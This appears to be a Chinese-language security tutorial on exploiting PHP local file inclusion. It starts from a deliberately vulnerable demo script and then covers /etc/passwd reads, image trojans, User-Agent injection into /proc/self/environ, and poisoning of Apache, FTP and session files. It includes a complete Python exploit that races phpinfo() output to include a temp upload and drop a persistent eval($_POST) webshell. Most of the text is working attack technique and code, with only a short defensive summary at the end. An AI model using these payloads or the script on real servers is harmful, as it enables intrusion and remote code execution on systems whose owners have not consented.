1 概述
檔案包含(Local File Include)是php腳本的一大特色,程式員們為了開發的友善,常常會用到包含。比如把一系列功能函數都寫進fuction.php中,之後當某個檔案需要調用的時候就直接在檔案頭中寫上一句<?php include fuction.php?>就可以調用内部定義的函數。
本地包含漏洞是PHP中一種典型的高危漏洞。由于程式員未對使用者可控的變量進行輸入檢查,導緻使用者可以控制被包含的檔案,成功利用時可以使web server會将特定檔案當成php執行,進而導緻使用者可擷取一定的伺服器權限。
2 利用LFI執行PHP代碼
2.1本地包含漏洞執行個體展示:
示範腳本檔案test.php代碼如下:
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$f = $_GET["file"];
if ($f){
require "".$f.".php";
}else{
print("No File Included");
}
?>
在正常使用過程中,可能是這樣子:http://www.xxx.com/test.php?f=fuction,這樣子 就包含了function這個檔案,但是由于file參數沒有過濾,我們可以自己送出參數内容,這個時候就導緻了包含漏洞的出現。比如送出 :
http://www.xxx.com/index.php?f=shell.txt%00,shell.txt的内容為我們的webshell,由于前面的是 index.php,是以會把shell.txt當成是木馬執行。
在虛拟機搭建執行個體環境,
直接通路,不指派file參數:

圖1.不送出任何參數時的test.php
指派file參數為/etc/passwd
圖2.包含/etc/passwd檔案
成功包含。
2.2自己上傳檔案并實作包含
這裡主要是結合伺服器一些檔案上傳點,比如頭像上傳、相冊照片上傳等,而後結合php的%00截斷特性成功利用包含漏洞(php5.4之後已修複截斷特性,本例中不再結合%00,其他請自己測試)。
假設我們可以自定義上傳頭像,頭像檔案在網站根目錄的photo下,具體目錄可以傳上去之後檢視圖檔Url資訊。
首先,我們隻做包含惡意代碼的圖檔檔案:
在windows下利用copy指令,shell.php為一句話木馬(這裡為了友善示範,我們用phpinfo();代替),photo.jpg問正常頭像檔案。在指令行下執行:copy photo.jpg /b + shell.php /b eval.jpg
圖3.Windows下copy指令制作圖檔木馬
此時eval.jpg和phpoto.jpg都可以正常打開
這種方法對于驗證嚴格的上傳點有用,其實很多時候我們可以簡單的改一下字尾名,在php代碼前加一個GIF89a就可繞過大多數檢測。
将eval.jpg上傳,并包含,效果如下圖:
圖4.包含圖檔木馬效果
此時成功利用本地包含漏洞執行php代碼。
2.3包含環境變量檔案
Linux下有一個檔案/proc/self/environ,這個檔案裡儲存了系統的一些變量。内容如下圖:
圖5.BT5下/proc/self/environ檔案内容
但是使用者可通過修改浏覽器的agent資訊插入自己的内容到該檔案,将php代碼寫進去之後再利用LFI進行包含就可以實作漏洞的利用。
首先,驗證通路權限,看是否有權限讀取該檔案内容
圖6.包含/proc/self/environ檔案
在BT的server下是預設拒絕通路的。權限如下:
圖7.Environ檔案的權限設定
為了友善示範,用一個有權限通路environ檔案的環境。
正常包含如圖:
圖8.有權限讀取envrion檔案時效果
我們可以看到,目前的USER_AGENT變量被寫進了這個檔案,而USER_AGENT是可以僞造的,這裡我利用firefox的UAControl進行僞造,首先編輯UAControl對于這個文章的user agent資訊:
圖9.修改User-agent資訊
而後随便通路該網站上一個網頁,再次包含environ檔案:
圖10.成功執行php代碼
可以發現php代碼已經執行。
2.4包含web server日志檔案
Apache的日志檔案在LFI漏洞的利用中是非常常見的。因為不管我們送出的Get請求或者Post請求都會被apache記錄到日志檔案裡。是以我們可以控制請求内容,将惡意代碼寫入日志檔案,進而實作包含。
首先:檢視是否有權限進行包含
圖11.預設access檔案拒絕通路
同樣預設拒絕。
圖12.日志檔案預設權限
下面找一個有權限的實戰環境進行測試
可以包含httpd.conf檢視日志檔案位置以及檔案名格式配置,這裡就直接找到一個log進行利用(php_error.log),該檔案會記錄php在執行中出現的錯誤,
圖13.php_error檔案内容
是以我們直接通路test.php?file=../<?php phpinfo();?>.php,将會被記錄下來。這樣便成功将php代碼寫進log檔案。
直接通路:
圖14.get請求中插入php代碼
傳回空白,這是由于webserver未開啟報錯。
包含後如圖:
圖15.成功包含error日志檔案
成功執行php代碼
在實際利用中,需要注意一下幾個問題:
1) Access.log和error.log過大,這時候有可能會導緻逾時。是以如果能包含其他檔案那就包含其他檔案。
2) 寫入的代碼被轉義。比如我們送出test.php?file=../<?php phpinfo();?>.php時,在<?php 後面緊跟着一個空格,這個空格如果被轉義成%20就會導緻php代碼執行失敗,有時候寫進access.log檔案裡的還可能是将兩個尖括号<>也轉義了的。在實際測試中,用火狐、IE8都會轉義,但是IE6不會轉義。對于所有以上情況,可以使用ie6進行利用,也可以使用NC進行直接送出GET請求。同時如果web
server的short_tag開啟的話,就不用擔心空格被轉義。
2.5包含其他日志檔案
檔案包含漏洞的實質是包含我們可以控制檔案内容的檔案,是以其他日志檔案如果我們可控的話也是可以進行包含利用的。這裡以FTP的日志檔案為例進行示範。
實際利用過程中要先得到目标系統的linux發行版本号、FTP server的版本号,而後找預設日志目錄。
第一步同樣是測試權限,看是否有權限讀取檔案:
圖16.FTP日志檔案内容
如圖,是可以包含的。
下面本地登入,但是使用者名填:<?php phpinfo();?>
圖17.在登陸視窗插入php代碼
成功包含後效果如下圖:
圖18.成功包含FTP日志檔案
可以發現已經成功執行了php代碼
2.6結合phpinfo包含臨時檔案
php有個特性是我們向伺服器上任意php檔案post請求上傳資料時,都會生成臨時檔案,預設是傳到tmp目錄下,并且檔案名是随機的。當然,我們可以暴力猜解,但是這樣子還是太過雞肋的。國外一個安全研究者提出利用phpinfo來找出所上傳的檔案路徑,因為phpinfo會記錄一些請求,包括在伺服器上生成的臨時檔案名字和目錄。是以借助phpinfo()我們可以找出臨時檔案名并利用。
下面是一個python版的利用代碼:
#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org
'''
可能需要你改的幾個地方:
1、host
2、port
3、request中的phpinfo頁面名字及路徑
4、hello_lfi() 函數中的url,即存在lfi的頁面和參數
5、如果不成功或報錯,嘗試增加padding長度到7000、8000試試
6、某些開了magic_quotes_gpc或者其他東西不能%00的,自行想辦法截斷并在(4)的位置對應修改
Good Luck :)
import re
import urllib2
import hashlib
from socket import *
from time import sleep
host = '192.168.92.132'
#host = gethostbyname(domain)
port = 80
shell_name = hashlib.md5(host).hexdigest() + '.php'
pattern = re.compile(r'''\[tmp_name\]\s=&gt;\s(.*)\W*error]''')
payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload
padding='A' * 8000
request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
%s''' % (len(req), host, req)
def hello_lfi():
while 1:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
data = ''
while r'</body></html>' not in data:
data = s.recv(9999)
search_ = re.search(pattern, data)
if search_:
tmp_file_name = search_.group(1)
url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name
print url
search_request = urllib2.Request(url)
search_response = urllib2.urlopen(search_request)
html_data = search_response.read()
if 'idwar' in html_data:
s.close()
return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
#import sys;sys.exit()
s.close()
if __name__ == '__main__':
print hello_lfi()
print '\n Good Luck :)'
利用效果如下圖:
圖19. 利用工具中的php臨時檔案
圖20. 伺服器上确實生成了該檔案
可以看到,成功擷取到臨時檔案的檔案名以及将惡意代碼注入到伺服器的tmp的臨時目錄下。
2.7包含session檔案
Session檔案一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目錄下,檔案名字一般以sess_SESSIONID來儲存。
首先,檢視找到session檔案并包含一次:檔案名可以通過firefox的fire cookie插件檢視目前session值。
實際應用過程中需要注意以下幾點:
1) 網站可能沒有生成臨時session,以cookie方式儲存使用者資訊,或者根本就完全沒有。
2) Session檔案内容的控制,這個時候我們就需要先通過包含檢視目前session的内容,看session值中有沒有我們可控的某個變量,比如url中的變量值。或者目前使用者名username。如果有的話,我們就可以通過修改可控變量值控制惡意代碼寫入session檔案。如果沒有的話,可以考慮讓伺服器報錯,有時候伺服器會把報錯資訊寫入使用者的session檔案的。我們控制使伺服器報錯的語句即可将惡意代碼寫入session。
3 小結
從開發者的角度來說,任何使用者可以控制的變量都要進行嚴格的檢查和過濾。隻要有使用者可輸入的地方就有可能存在漏洞。而從攻擊者的角度來說,在對LFI的利用中,始終需要注意的是伺服器上隻要是我們可以寫入資料的都可以拿來包含。
4 參考文獻:
[1] Gynvael Coldwind 《PHP_LFI_rfc1867_temporary_files》 2011.3
[3] http://www.2cto.com/Article/201202/119213.html《利用phpinfo資訊LFI臨時檔案》
[4]http://www.php.net/manual/en/features.file-upload.post-method.php 《POST method uploads》